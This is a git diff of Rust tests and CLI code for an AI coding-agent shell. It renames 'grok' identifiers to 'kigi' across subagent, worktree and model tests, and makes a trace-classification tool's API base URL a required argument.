index 60cdf2d..de3b21f 100644
--- a/crates/codegen/kigi-shell/src/agent/subagent/tests/mod.rs
+++ b/crates/codegen/kigi-shell/src/agent/subagent/tests/mod.rs
@@ -119,11 +119,11 @@ fn subagent_max_turns_definition_wins_else_inherits_parent() {
 fn resume_worktree_action_covers_three_outcomes() {
     use super::{ResumeWorktreeAction, resume_worktree_action};
     assert_eq!(
-        resume_worktree_action(true, Some("refs/grok/subagents/x")),
+        resume_worktree_action(true, Some("refs/kigi/subagents/x")),
         ResumeWorktreeAction::Rehydrate
     );
     assert_eq!(
-        resume_worktree_action(false, Some("refs/grok/subagents/x")),
+        resume_worktree_action(false, Some("refs/kigi/subagents/x")),
         ResumeWorktreeAction::Rehydrate
     );
     assert_eq!(resume_worktree_action(true, None), ResumeWorktreeAction::Reuse);
@@ -1099,7 +1099,7 @@ fn dummy_tracker(
         force_compact: Arc::new(AtomicBool::new(false)),
         permission_handle: kigi_workspace::permission::PermissionHandle::allow_all(),
         attribution_callback: None,
-        agent_name: "grok-build".to_string(),
+        agent_name: "kigi".to_string(),
         session_default_agent_profile: None,
         allowed_subagent_types: None,
         hook_registry: None,
@@ -1938,7 +1938,7 @@ async fn bootstrap_fork_live_parent_chat_state_is_forked_with_marker() {
     const MARKER: &str = "UNIQUE_LIVE_FORK_MARKER_xyz789";
     let req = bootstrap_test_request(true);
     let mut ctx = ctx_with_toggle(HashMap::new());
-    let chat = spawn_test_parent_chat_state("grok-4.5");
+    let chat = spawn_test_parent_chat_state("kigi-4.5");
     chat.replace_conversation(
         vec![
             ConversationItem::system("parent system"),
@@ -2127,7 +2127,7 @@ async fn handle_subagent_request_rejects_nonexistent_cwd() {
 #[tokio::test]
 async fn handle_subagent_request_rejects_file_as_cwd() {
     let tmp_dir = tempfile::TempDir::new().unwrap();
-    let tmp_file = tmp_dir.path().join("grok-test-cwd-file");
+    let tmp_file = tmp_dir.path().join("kigi-test-cwd-file");
     std::fs::write(&tmp_file, b"not a directory").unwrap();
     let ctx = ctx_with_toggle(HashMap::new());
     let coordinator = std::cell::RefCell::new(SubagentCoordinator::new());
@@ -2359,7 +2359,7 @@ fn subagent_await_budget_default_and_override() {
 fn summarize_tool_config_uses_name_override_and_strips_namespace() {
     use kigi_tools::registry::types::{ToolConfig, ToolServerConfig};
     use kigi_tools::types::tool::ToolKind;
-    let mut read = ToolConfig::from_id("GrokBuild:read_file");
+    let mut read = ToolConfig::from_id("Kigi:read_file");
     read.kind = Some(ToolKind::Read);
     let mut read_dup = ToolConfig::from_id("Codex:read_file");
     read_dup.kind = Some(ToolKind::Read);
@@ -2410,7 +2410,7 @@ fn describe_subagent_type_not_allowed_outside_allow_list() {
         other => panic!("expected NotAllowed, got {other:?}"),
     }
 }
-/// Regression: on the DEFAULT grok-build host —
+/// Regression: on the DEFAULT kigi host —
 /// the primary `/goal` host — the `general-purpose` toolset's only
 /// file-mutator is `search_replace` (`ToolKind::Edit`); the `write`
 /// tool (`ToolKind::Write`) is injection-only and absent from the
@@ -2465,7 +2465,7 @@ fn subagent_keeps_default_flavor_when_parent_model_is_non_strict() {
     let mut ctx = ctx_with_toggle(HashMap::new());
     ctx.parent_agent_name = Some("ai-oncall-bot".to_string());
     ctx.parent_model_agent_type = Some(
-        BuiltinAgentName::GrokBuildPlan.as_ref().to_string(),
+        BuiltinAgentName::KigiPlan.as_ref().to_string(),
     );
     let mut def = resolve_agent_definition("general-purpose", &ctx).expect("resolves");
     resolve_subagent_toolset("general-purpose", None, &ctx, &mut def);
@@ -2696,7 +2696,7 @@ async fn background_unknown_type_emits_subagent_finished_notification() {
     while let Ok(msg) = gateway_rx.try_recv() {
         if let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg {
             let req: &acp::ExtNotification = &args.request;
-            assert_eq!(req.method.as_ref(), "x.ai/session_notification");
+            assert_eq!(req.method.as_ref(), "kigi/session_notification");
             let body = req.params.get();
             assert!(body.contains("subagent_finished"));
             assert!(body.contains(& subagent_id));
@@ -3090,8 +3090,8 @@ fn subagent_auth_type_rule() {
     use kigi_chat_state::AuthType;
     let session = acp::AuthMethodId::new(CACHED_TOKEN_AUTH_METHOD_ID);
     let api_key = acp::AuthMethodId::new(XAI_API_KEY_METHOD_ID);
-    let byok = byok_model_entry("grok-byok");
-    let plain = test_model_entry("grok-plain");
+    let byok = byok_model_entry("kigi-byok");
+    let plain = test_model_entry("kigi-plain");
     assert_eq!(super::subagent_auth_type(Some(& byok), & session), AuthType::ApiKey);
     assert_eq!(super::subagent_auth_type(Some(& byok), & api_key), AuthType::ApiKey);
     assert_eq!(
@@ -3104,14 +3104,14 @@ fn subagent_auth_type_rule() {
 #[test]
 fn fresh_tool_model_accepts_visible_key_and_internal_id() {
     let mut models = indexmap::IndexMap::new();
-    models.insert("grok-3".to_string(), test_model_entry("grok-3-2025-02-15"));
+    models.insert("kigi-3".to_string(), test_model_entry("kigi-3-2025-02-15"));
     assert!(
-        super::handle_request::task_model_override_error(Some("grok-3"),
+        super::handle_request::task_model_override_error(Some("kigi-3"),
         ModelOverrideProvenance::Tool, false, & models, false,).is_none(),
         "key lookup should succeed"
     );
     assert!(
-        super::handle_request::task_model_override_error(Some("grok-3-2025-02-15"),
+        super::handle_request::task_model_override_error(Some("kigi-3-2025-02-15"),
         ModelOverrideProvenance::Tool, false, & models, false,).is_none(),
         "info().model lookup should succeed"
     );
@@ -3182,7 +3182,7 @@ fn fresh_tool_model_rejects_unknown_and_nonavailable_entries() {
             format!("Unknown Task.model slug '{requested}'. Valid model slugs: alpha, zeta. \
                      Omit `model` to inherit the parent model.")
         );
-        assert!(! error.contains("grok models"));
+        assert!(! error.contains("kigi models"));
     }
     assert!(
         super::handle_request::task_model_override_error(Some("oauth-only"),
diff --git a/crates/codegen/kigi-shell/src/agent/subagent/tests/rest.rs b/crates/codegen/kigi-shell/src/agent/subagent/tests/rest.rs
index e5e8c95..c9c246e 100644
--- a/crates/codegen/kigi-shell/src/agent/subagent/tests/rest.rs
+++ b/crates/codegen/kigi-shell/src/agent/subagent/tests/rest.rs
@@ -343,7 +343,7 @@ fn resumable_source_returns_info_for_completed_subagent() {
                 child_cwd: "/workspace".into(),
                 worktree_path: Some(PathBuf::from("/tmp/worktree-1")),
                 snapshot_ref: None,
-                effective_model_id: "grok-3".into(),
+                effective_model_id: "kigi-3".into(),
                 block_waited: false,
                 explicitly_killed: false,
             },
@@ -479,16 +479,16 @@ fn snapshot_ref_field_in_meta_roundtrips() {
         persona: None,
         resumed_from: None,
         child_cwd: None,
-        worktree_path: Some("/tmp/grok-wt/sa-snap".into()),
-        snapshot_ref: Some("refs/grok/subagent-snapshots/sa-snap".into()),
+        worktree_path: Some("/tmp/kigi-wt/sa-snap".into()),
+        snapshot_ref: Some("refs/kigi/subagent-snapshots/sa-snap".into()),
         effective_model_id: None,
     };
     let json = serde_json::to_string(&meta).unwrap();
     assert!(json.contains("snapshot_ref"));
-    assert!(json.contains("refs/grok/subagent-snapshots/sa-snap"));
+    assert!(json.contains("refs/kigi/subagent-snapshots/sa-snap"));
     let parsed: SubagentMeta = serde_json::from_str(&json).unwrap();
     assert_eq!(
-        parsed.snapshot_ref.as_deref(), Some("refs/grok/subagent-snapshots/sa-snap")
+        parsed.snapshot_ref.as_deref(), Some("refs/kigi/subagent-snapshots/sa-snap")
     );
 }
 #[test]
@@ -528,7 +528,7 @@ fn snapshot_test_meta(id: &str) -> SubagentMeta {
         persona: None,
         resumed_from: None,
         child_cwd: None,
-        worktree_path: Some("/tmp/grok-wt/subagent-x".into()),
+        worktree_path: Some("/tmp/kigi-wt/subagent-x".into()),
         snapshot_ref: None,
         effective_model_id: None,
     }
@@ -540,14 +540,14 @@ fn update_subagent_meta_snapshot_ref_persists_to_disk() {
     let dir = tempfile::TempDir::new().unwrap();
     assert!(write_subagent_meta(dir.path(), & snapshot_test_meta("sa-write")));
     assert!(
-        update_subagent_meta_snapshot_ref(dir.path(), "refs/grok/subagents/sa-write",
+        update_subagent_meta_snapshot_ref(dir.path(), "refs/kigi/subagents/sa-write",
         "completed"), "persisting the ref into an existing meta.json must report success"
     );
     let data = std::fs::read_to_string(dir.path().join("meta.json")).unwrap();
     let reread: SubagentMeta = serde_json::from_str(&data).unwrap();
-    assert_eq!(reread.snapshot_ref.as_deref(), Some("refs/grok/subagents/sa-write"));
+    assert_eq!(reread.snapshot_ref.as_deref(), Some("refs/kigi/subagents/sa-write"));
     assert_eq!(reread.status, "completed");
-    assert_eq!(reread.worktree_path.as_deref(), Some("/tmp/grok-wt/subagent-x"));
+    assert_eq!(reread.worktree_path.as_deref(), Some("/tmp/kigi-wt/subagent-x"));
 }
 /// Missing meta.json → the writer reports failure (it `warn!`s), so the
 /// completion path keeps the worktree instead of removing it ref-less.
@@ -555,7 +555,7 @@ fn update_subagent_meta_snapshot_ref_persists_to_disk() {
 fn update_subagent_meta_snapshot_ref_reports_failure_when_meta_missing() {
     let dir = tempfile::TempDir::new().unwrap();
     assert!(
-        ! update_subagent_meta_snapshot_ref(dir.path(), "refs/grok/subagents/sa-missing",
+        ! update_subagent_meta_snapshot_ref(dir.path(), "refs/kigi/subagents/sa-missing",
         "completed")
     );
 }
@@ -569,12 +569,12 @@ fn snapshot_ref_write_promotes_nonterminal_status_to_terminal() {
     meta.status = "running".into();
     assert!(write_subagent_meta(dir.path(), & meta));
     assert!(
-        update_subagent_meta_snapshot_ref(dir.path(), "refs/grok/subagents/x",
+        update_subagent_meta_snapshot_ref(dir.path(), "refs/kigi/subagents/x",
         "completed")
     );
     let data = std::fs::read_to_string(dir.path().join("meta.json")).unwrap();
     let reread: SubagentMeta = serde_json::from_str(&data).unwrap();
-    assert_eq!(Some("refs/grok/subagents/x"), reread.snapshot_ref.as_deref());
+    assert_eq!(Some("refs/kigi/subagents/x"), reread.snapshot_ref.as_deref());
     assert_eq!("completed", reread.status);
 }
 /// The coordinator setter stamps the snapshot ref onto the in-memory
@@ -600,17 +600,17 @@ async fn set_completed_snapshot_ref_updates_in_memory_entry() {
         .unwrap();
     assert!(before.snapshot_ref.is_none());
     coordinator
-        .set_completed_snapshot_ref("sa-mem", "refs/grok/subagents/sa-mem".into());
+        .set_completed_snapshot_ref("sa-mem", "refs/kigi/subagents/sa-mem".into());
     let after = coordinator
         .resumable_source_for("sa-mem", "session-A", Path::new("/tmp"))
         .unwrap();
-    assert_eq!(after.snapshot_ref.as_deref(), Some("refs/grok/subagents/sa-mem"));
+    assert_eq!(after.snapshot_ref.as_deref(), Some("refs/kigi/subagents/sa-mem"));
 }
 /// Unknown id is a no-op (entry already TTL-evicted; meta.json still holds it).
 #[test]
 fn set_completed_snapshot_ref_unknown_id_is_noop() {
     let mut coordinator = SubagentCoordinator::new();
-    coordinator.set_completed_snapshot_ref("ghost", "refs/grok/subagents/ghost".into());
+    coordinator.set_completed_snapshot_ref("ghost", "refs/kigi/subagents/ghost".into());
     assert!(
         coordinator.resumable_source_for("ghost", "session-A", Path::new("/tmp"))
         .is_none()
@@ -719,7 +719,7 @@ async fn completion_snapshot_sequence_persists_ref_then_removes_worktree() {
     let meta_dir = temp.path().join("meta");
     write_subagent_meta(&meta_dir, &snapshot_test_meta("glue-1"));
     let mut coordinator = coordinator_with_completed("glue-1");
-    let ref_name = "refs/grok/subagents/glue-1";
+    let ref_name = "refs/kigi/subagents/glue-1";
     let snapshot_ref = crate::session::worktree::snapshot_subagent_worktree(
             &wt,
             &repo,
@@ -744,7 +744,7 @@ async fn completion_snapshot_sequence_persists_ref_then_removes_worktree() {
 /// the tracker-retained direct `worktree_path` plus the snapshot_ref.
 #[tokio::test]
 async fn gate_on_completion_clears_model_facing_worktree_path_but_resume_retains_it() {
-    let wt = PathBuf::from("/tmp/grok-wt/subagent-disp-1");
+    let wt = PathBuf::from("/tmp/kigi-wt/subagent-disp-1");
     let mut coordinator = SubagentCoordinator::new();
     let mut tracker = dummy_tracker("disp-1", "session-A", "explore", "task");
     tracker.worktree_path = Some(wt.clone());
@@ -762,21 +762,21 @@ async fn gate_on_completion_clears_model_facing_worktree_path_but_resume_retains
     }
     coordinator.move_to_completed("disp-1", "task".into(), "explore".into(), result);
     coordinator
-        .set_completed_snapshot_ref("disp-1", "refs/grok/subagents/disp-1".into());
+        .set_completed_snapshot_ref("disp-1", "refs/kigi/subagents/disp-1".into());
     let listed = coordinator.completed.get("disp-1").expect("completed entry");
     assert_eq!(None, listed.result.worktree_path);
     let src = coordinator
         .resumable_source_for("disp-1", "session-A", Path::new("/tmp"))
         .unwrap();
     assert_eq!(Some(wt), src.worktree_path);
-    assert_eq!(Some("refs/grok/subagents/disp-1"), src.snapshot_ref.as_deref());
+    assert_eq!(Some("refs/kigi/subagents/disp-1"), src.snapshot_ref.as_deref());
 }
 /// Gate on but the worktree was NOT removed (snapshot/persist/remove failed):
 /// the model-facing `result.worktree_path` is RETAINED so the parent can still
 /// locate the preserved dir.
 #[tokio::test]
 async fn gate_on_completion_retains_worktree_path_when_not_removed() {
-    let wt = PathBuf::from("/tmp/grok-wt/subagent-keep-1");
+    let wt = PathBuf::from("/tmp/kigi-wt/subagent-keep-1");
     let mut coordinator = SubagentCoordinator::new();
     coordinator.insert(dummy_tracker("keep-1", "session-A", "explore", "task"));
     let mut result = SubagentResult {
@@ -817,7 +817,7 @@ async fn disposal_completes_before_subagent_is_observable() {
     write_subagent_meta(&meta_dir, &snapshot_test_meta("order-1"));
     let mut coordinator = SubagentCoordinator::new();
     coordinator.insert(dummy_tracker("order-1", "session-A", "explore", "task"));
-    let ref_name = "refs/grok/subagents/order-1";
+    let ref_name = "refs/kigi/subagents/order-1";
     let snapshot_ref = crate::session::worktree::snapshot_subagent_worktree(
             &wt,
             &repo,
@@ -989,7 +989,7 @@ fn resume_inherited_cwd_requires_existing_non_worktree_dir() {
     };
     assert_eq!(resume_inherited_cwd(Some(& present)), Some(existing.as_str()));
     let missing = ResumeSourceData {
-        child_cwd: "/no/such/dir/grok-missing".into(),
+        child_cwd: "/no/such/dir/kigi-missing".into(),
         ..present.clone()
     };
     assert_eq!(resume_inherited_cwd(Some(& missing)), None);
@@ -1120,7 +1120,7 @@ fn token_estimation_accounts_for_images() {
 #[test]
 fn durable_fallback_roundtrips_child_cwd_and_worktree() {
     let dir = std::env::temp_dir()
-        .join("grok-test-durable-resume")
+        .join("kigi-test-durable-resume")
         .join(uuid::Uuid::now_v7().to_string());
     let _ = std::fs::create_dir_all(&dir);
     let meta = SubagentMeta {
@@ -1143,22 +1143,22 @@ fn durable_fallback_roundtrips_child_cwd_and_worktree() {
         persona: Some("implementer".into()),
         resumed_from: None,
         child_cwd: Some("/workspace/project".into()),
-        worktree_path: Some("/tmp/grok-wt/sa-dur".into()),
+        worktree_path: Some("/tmp/kigi-wt/sa-dur".into()),
         snapshot_ref: None,
-        effective_model_id: Some("grok-3".into()),
+        effective_model_id: Some("kigi-3".into()),
     };
     write_subagent_meta(&dir, &meta);
     let data = std::fs::read_to_string(dir.join("meta.json")).unwrap();
     let loaded: SubagentMeta = serde_json::from_str(&data).unwrap();
     assert_eq!(loaded.child_cwd.as_deref(), Some("/workspace/project"));
-    assert_eq!(loaded.worktree_path.as_deref(), Some("/tmp/grok-wt/sa-dur"));
+    assert_eq!(loaded.worktree_path.as_deref(), Some("/tmp/kigi-wt/sa-dur"));
     assert_eq!(loaded.status, "completed");
     let _ = std::fs::remove_dir_all(&dir);
 }
 #[test]
 fn durable_fallback_rejects_running_status() {
     let dir = std::env::temp_dir()
-        .join("grok-test-durable-status")
+        .join("kigi-test-durable-status")
         .join(uuid::Uuid::now_v7().to_string());
     let parent_dir = dir.join("subagents").join("sa-running");
     let _ = std::fs::create_dir_all(&parent_dir);
@@ -1227,7 +1227,7 @@ fn drain_cancelled_finish_broadcasts(
         let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg else {
             continue;
         };
-        assert_eq!(args.request.method.as_ref(), "x.ai/session_notification");
+        assert_eq!(args.request.method.as_ref(), "kigi/session_notification");
         let notification: SessionNotification = serde_json::from_str(
                 args.request.params.get(),
             )
@@ -1666,11 +1666,11 @@ fn resume_allows_matching_identity() {
         snapshot_ref: None,
         subagent_type: "general-purpose".into(),
         persona: Some("implementer".into()),
-        model_id: Some("grok-3".into()),
+        model_id: Some("kigi-3".into()),
     };
     assert_eq!("general-purpose", source.subagent_type);
     assert_eq!(Some("implementer"), source.persona.as_deref());
-    assert_eq!(Some("grok-3"), source.model_id.as_deref());
+    assert_eq!(Some("kigi-3"), source.model_id.as_deref());
 }
 #[test]
 fn resume_identity_does_not_gate_on_model() {
@@ -1682,21 +1682,21 @@ fn resume_identity_does_not_gate_on_model() {
         snapshot_ref: None,
         subagent_type: "general-purpose".into(),
         persona: None,
-        model_id: Some("grok-3".into()),
+        model_id: Some("kigi-3".into()),
     };
     assert!(
         kigi_subagent_resolution::validate_resume_identity("general-purpose", None, &
         source,).is_ok()
     );
     assert_eq!(
-        source.model_id.as_deref(), Some("grok-3"),
+        source.model_id.as_deref(), Some("kigi-3"),
         "source model remains available for pinning"
     );
 }
 #[test]
 fn durable_meta_roundtrips_effective_model_id() {
     let dir = std::env::temp_dir()
-        .join("grok-test-model-roundtrip")
+        .join("kigi-test-model-roundtrip")
         .join(uuid::Uuid::now_v7().to_string());
     let _ = std::fs::create_dir_all(&dir);
     let meta = SubagentMeta {
@@ -1721,24 +1721,24 @@ fn durable_meta_roundtrips_effective_model_id() {
         child_cwd: Some("/workspace".into()),
         worktree_path: None,
         snapshot_ref: None,
-        effective_model_id: Some("grok-3".into()),
+        effective_model_id: Some("kigi-3".into()),
     };
     write_subagent_meta(&dir, &meta);
     let data = std::fs::read_to_string(dir.join("meta.json")).unwrap();
     let loaded: SubagentMeta = serde_json::from_str(&data).unwrap();
     assert_eq!(
-        loaded.effective_model_id.as_deref(), Some("grok-3"),
+        loaded.effective_model_id.as_deref(), Some("kigi-3"),
         "model ID should round-trip through meta.json"
     );
     let _ = std::fs::remove_dir_all(&dir);
 }
 #[test]
 fn resume_model_pinning_overrides_default_resolution() {
-    let source_model = Some("grok-3".to_string());
-    let resolved_model = "grok-light";
+    let source_model = Some("kigi-3".to_string());
+    let resolved_model = "kigi-light";
     let needs_pin = source_model.as_deref() != Some(resolved_model);
     assert!(needs_pin, "resolved model differs from source — pinning should trigger");
-    let resolved_same = "grok-3";
+    let resolved_same = "kigi-3";
     let no_pin = source_model.as_deref() == Some(resolved_same);
     assert!(no_pin, "same model — no pinning needed");
 }
@@ -2108,19 +2108,19 @@ fn ctx_with_parent_chat_state(
 #[tokio::test]
 async fn read_parent_sampling_config_keeps_auto_catalog_id_with_routing_slug() {
     let mut models = indexmap::IndexMap::new();
-    models.insert("auto".to_string(), test_model_entry("grok-4.5"));
-    let ctx = ctx_with_parent_chat_state("auto", "grok-4.5", "composer-2-fast", models);
+    models.insert("auto".to_string(), test_model_entry("kigi-4.5"));
+    let ctx = ctx_with_parent_chat_state("auto", "kigi-4.5", "composer-2-fast", models);
     let (config, model_id) = read_parent_sampling_config(&ctx).await;
-    assert_eq!(config.model, "grok-4.5");
+    assert_eq!(config.model, "kigi-4.5");
     assert_eq!(model_id.0.as_ref(), "auto");
 }
 #[tokio::test]
 async fn read_parent_sampling_config_keeps_auto_when_catalog_has_slug_key_only() {
     let mut models = indexmap::IndexMap::new();
-    models.insert("grok-4.5".to_string(), test_model_entry("grok-4.5"));
-    let ctx = ctx_with_parent_chat_state("auto", "grok-4.5", "auto", models);
+    models.insert("kigi-4.5".to_string(), test_model_entry("kigi-4.5"));
+    let ctx = ctx_with_parent_chat_state("auto", "kigi-4.5", "auto", models);
     let (config, model_id) = read_parent_sampling_config(&ctx).await;
-    assert_eq!(config.model, "grok-4.5");
+    assert_eq!(config.model, "kigi-4.5");
     assert_eq!(model_id.0.as_ref(), "auto");
 }
 #[tokio::test]
@@ -2161,11 +2161,11 @@ async fn read_parent_sampling_config_ignores_global_default() {
 }
 #[tokio::test]
 async fn read_parent_sampling_config_resolves_backend_search_from_catalog() {
-    let mut entry = test_model_entry("grok-4.5");
+    let mut entry = test_model_entry("kigi-4.5");
     entry.info.supports_backend_search = true;
     let mut models = indexmap::IndexMap::new();
     models.insert("auto".to_string(), entry);
-    let mut ctx = ctx_with_parent_chat_state("auto", "grok-4.5", "auto", models);
+    let mut ctx = ctx_with_parent_chat_state("auto", "kigi-4.5", "auto", models);
     ctx.sampling_config.supports_backend_search = false;
     let (config, _model_id) = read_parent_sampling_config(&ctx).await;
     assert!(
@@ -2201,11 +2201,11 @@ async fn read_parent_sampling_config_fallback_resolves_backend_search_from_catal
 #[tokio::test]
 async fn read_parent_sampling_config_resolves_compactions_remaining_from_catalog() {
     use kigi_sampling_types::CompactionsRemaining;
-    let mut entry = test_model_entry("grok-4.5");
+    let mut entry = test_model_entry("kigi-4.5");
     entry.info.compactions_remaining = Some(CompactionsRemaining::Dynamic(true));
     let mut models = indexmap::IndexMap::new();
     models.insert("auto".to_string(), entry);
-    let mut ctx = ctx_with_parent_chat_state("auto", "grok-4.5", "auto", models);
+    let mut ctx = ctx_with_parent_chat_state("auto", "kigi-4.5", "auto", models);
     ctx.sampling_config.compactions_remaining = None;
     let (config, _model_id) = read_parent_sampling_config(&ctx).await;
     assert_eq!(
@@ -2360,7 +2360,7 @@ async fn fork_context_pins_parent_model_over_overrides() {
 #[tokio::test]
 async fn resolve_subagent_inherits_parent_model_without_pins() {
     use kigi_agent::config::ModelOverride;
-    for parent_model in ["grok-4.5", "composer-2-fast", "my-custom-byok-model"] {
+    for parent_model in ["kigi-4.5", "composer-2-fast", "my-custom-byok-model"] {
         let mut ctx = ctx_with_toggle(HashMap::new());
         ctx.sampling_config.model = parent_model.to_string();
         ctx.model_id = acp::ModelId::new(parent_model);
@@ -2379,12 +2379,12 @@ async fn resolve_subagent_inherits_parent_model_without_pins() {
 }
 /// An explicit `[subagents.models]` pin routes the subagent to that
 /// model regardless of the parent model — both a light parent
-/// (`grok-4.5`) and a custom parent (`composer-2-fast`)
+/// (`kigi-4.5`) and a custom parent (`composer-2-fast`)
 /// honor the pin identically now that the heavy-model gate is gone.
 #[tokio::test]
 async fn resolve_subagent_config_override_pin_applies_for_any_parent() {
     use kigi_agent::config::ModelOverride;
-    for parent_model in ["grok-4.5", "composer-2-fast"] {
+    for parent_model in ["kigi-4.5", "composer-2-fast"] {
         let mut ctx = ctx_with_toggle(HashMap::new());
         ctx.sampling_config.model = parent_model.to_string();
         ctx.model_id = acp::ModelId::new(parent_model);
@@ -2411,8 +2411,8 @@ async fn resolve_subagent_config_override_pin_applies_for_any_parent() {
 async fn resolve_subagent_agent_definition_pin_applies_for_light_parent() {
     use kigi_agent::config::ModelOverride;
     let mut ctx = ctx_with_toggle(HashMap::new());
-    ctx.sampling_config.model = "grok-4.5".to_string();
-    ctx.model_id = acp::ModelId::new("grok-4.5");
+    ctx.sampling_config.model = "kigi-4.5".to_string();
+    ctx.model_id = acp::ModelId::new("kigi-4.5");
     ctx.available_models
         .insert("pinned-model".to_string(), test_model_entry("pinned-model"));
     let agent_model = ModelOverride::Override("pinned-model".to_string());
@@ -2431,8 +2431,8 @@ async fn resolve_subagent_agent_definition_pin_applies_for_light_parent() {
 async fn resolve_subagent_config_override_wins_over_agent_definition() {
     use kigi_agent::config::ModelOverride;
     let mut ctx = ctx_with_toggle(HashMap::new());
-    ctx.sampling_config.model = "grok-4.5".to_string();
-    ctx.model_id = acp::ModelId::new("grok-4.5");
+    ctx.sampling_config.model = "kigi-4.5".to_string();
+    ctx.model_id = acp::ModelId::new("kigi-4.5");
     ctx.available_models
         .insert("config-pin".to_string(), test_model_entry("config-pin"));
     ctx.available_models
@@ -2454,8 +2454,8 @@ async fn resolve_subagent_config_override_wins_over_agent_definition() {
 async fn resolve_subagent_config_override_unknown_model_falls_through_to_inherit() {
     use kigi_agent::config::ModelOverride;
     let mut ctx = ctx_with_toggle(HashMap::new());
-    ctx.sampling_config.model = "grok-4.5".to_string();
-    ctx.model_id = acp::ModelId::new("grok-4.5");
+    ctx.sampling_config.model = "kigi-4.5".to_string();
+    ctx.model_id = acp::ModelId::new("kigi-4.5");
     ctx.subagent_model_overrides
         .insert("explore".to_string(), "does-not-exist".to_string());
     let (config, model_id) = resolve_subagent_sampling_config(
@@ -2464,8 +2464,8 @@ async fn resolve_subagent_config_override_unknown_model_falls_through_to_inherit
             &ctx,
         )
         .await;
-    assert_eq!(config.model, "grok-4.5");
-    assert_eq!(model_id.0.as_ref(), "grok-4.5");
+    assert_eq!(config.model, "kigi-4.5");
+    assert_eq!(model_id.0.as_ref(), "kigi-4.5");
 }
 /// An unresolvable `AgentDefinition.model` pin (model absent from
 /// `available_models`) falls through to inherit the parent model.
@@ -2473,8 +2473,8 @@ async fn resolve_subagent_config_override_unknown_model_falls_through_to_inherit
 async fn resolve_subagent_agent_definition_unknown_model_falls_through_to_inherit() {
     use kigi_agent::config::ModelOverride;
     let mut ctx = ctx_with_toggle(HashMap::new());
-    ctx.sampling_config.model = "grok-4.5".to_string();
-    ctx.model_id = acp::ModelId::new("grok-4.5");
+    ctx.sampling_config.model = "kigi-4.5".to_string();
+    ctx.model_id = acp::ModelId::new("kigi-4.5");
     let agent_model = ModelOverride::Override("does-not-exist".to_string());
     let (config, model_id) = resolve_subagent_sampling_config(
             "explore",
@@ -2482,8 +2482,8 @@ async fn resolve_subagent_agent_definition_unknown_model_falls_through_to_inheri
             &ctx,
         )
         .await;
-    assert_eq!(config.model, "grok-4.5");
-    assert_eq!(model_id.0.as_ref(), "grok-4.5");
+    assert_eq!(config.model, "kigi-4.5");
+    assert_eq!(model_id.0.as_ref(), "kigi-4.5");
 }
 #[test]
 fn key_prefix_truncates_to_8_chars() {
diff --git a/crates/codegen/kigi-shell/src/auth/manager/lock.rs b/crates/codegen/kigi-shell/src/auth/manager/lock.rs
index a7b57d7..9bbad07 100644
--- a/crates/codegen/kigi-shell/src/auth/manager/lock.rs
+++ b/crates/codegen/kigi-shell/src/auth/manager/lock.rs
@@ -829,7 +829,7 @@ mod tests {
 
     /// Line printed to stdout once the subprocess holds the flock.
     #[cfg(unix)]
-    const LOCK_HOLDER_READY: &str = "__GROK_LOCK_HOLDER_READY__";
+    const LOCK_HOLDER_READY: &str = "__KIGI_LOCK_HOLDER_READY__";
 
     /// Subprocess entry point for the cross-process lock tests. Only does
     /// anything when re-executed with `KIGI_TEST_LOCK_HOLDER` set; a normal
diff --git a/crates/codegen/kigi-shell/src/bin/chat-history-downgrade.rs b/crates/codegen/kigi-shell/src/bin/chat-history-downgrade.rs
index 5c873bc..50498a8 100644
--- a/crates/codegen/kigi-shell/src/bin/chat-history-downgrade.rs
+++ b/crates/codegen/kigi-shell/src/bin/chat-history-downgrade.rs
@@ -250,13 +250,13 @@ mod tests {
     /// it from the raw JSON to preserve downstream data fidelity.
     #[test]
     fn test_assistant_with_reasoning() {
-        let v1 = r#"{"type":"assistant","content":"The answer is 42.","reasoning":{"text":"Let me think..."},"tool_calls":[],"model_id":"grok-3"}"#;
+        let v1 = r#"{"type":"assistant","content":"The answer is 42.","reasoning":{"text":"Let me think..."},"tool_calls":[],"model_id":"kigi-3"}"#;
         let out = convert_line_for_test(v1);
         let v = v0_value(&out);
         assert_eq!(v["role"], "assistant");
         assert_eq!(v["content"], "The answer is 42.");
         assert_eq!(v["reasoning_content"], "Let me think...");
-        assert_eq!(v["model_id"], "grok-3");
+        assert_eq!(v["model_id"], "kigi-3");
     }
 
     /// Current shape: reasoning is a sibling line
@@ -274,7 +274,7 @@ mod tests {
         );
         assert_eq!(pending.len(), 1);
 
-        let a_line = r#"{"type":"assistant","content":"The answer is 42.","tool_calls":[],"model_id":"grok-3"}"#;
+        let a_line = r#"{"type":"assistant","content":"The answer is 42.","tool_calls":[],"model_id":"kigi-3"}"#;
         let a = convert_line(a_line, &mut pending)
             .unwrap()
             .expect("assistant line produces a v0 message");
diff --git a/crates/codegen/kigi-shell/src/bin/trace_classify.rs b/crates/codegen/kigi-shell/src/bin/trace_classify.rs
index 1f39423..41648eb 100644
--- a/crates/codegen/kigi-shell/src/bin/trace_classify.rs
+++ b/crates/codegen/kigi-shell/src/bin/trace_classify.rs
@@ -5,9 +5,9 @@
 //! Usage:
 //!   cargo run --bin trace_classify -- \
 //!       --trace /path/to/trace-<id>-all-turns.json \
+//!       --api-base-url <url> \
 //!       [--output out.jsonl] \
 //!       [--model kimi-for-coding] \
-//!       [--api-base-url https://api.x.ai/v1] \
 //!       [--api-key <key> | $XAI_API_KEY | <kigi-home>/auth.json] \
 //!       [--min-confidence 0.7] \
 //!       [--include-reasoning true] \
@@ -47,8 +47,9 @@ struct Cli {
     #[arg(long, default_value = "kimi-for-coding")]
     model: String,
 
-    /// Sampler base URL.
-    #[arg(long, default_value = "https://api.x.ai/v1")]
+    /// Sampler base URL. REQUIRED: there is no default BYOK endpoint —
+    /// pass the base URL your API key is valid for explicitly.
+    #[arg(long)]
     api_base_url: String,
 
     /// API key. Overrides `$XAI_API_KEY` when set; falls back to
@@ -109,13 +110,23 @@ mod tests {
     use super::*;
     use clap::CommandFactory;
 
+    /// Minimal args for a valid invocation. `--api-base-url` is included
+    /// because it is REQUIRED — there is no default BYOK endpoint.
+    const BASE_ARGS: [&str; 5] = [
+        "trace_classify",
+        "--trace",
+        "foo.json",
+        "--api-base-url",
+        "https://byok.example/v1",
+    ];
+
     #[test]
     fn cli_parses_minimal_args() {
-        let cli = Cli::try_parse_from(["trace_classify", "--trace", "foo.json", "--model", "bar"])
+        let cli = Cli::try_parse_from(BASE_ARGS.iter().copied().chain(["--model", "bar"]))
             .expect("parse");
         assert_eq!(cli.trace, PathBuf::from("foo.json"));
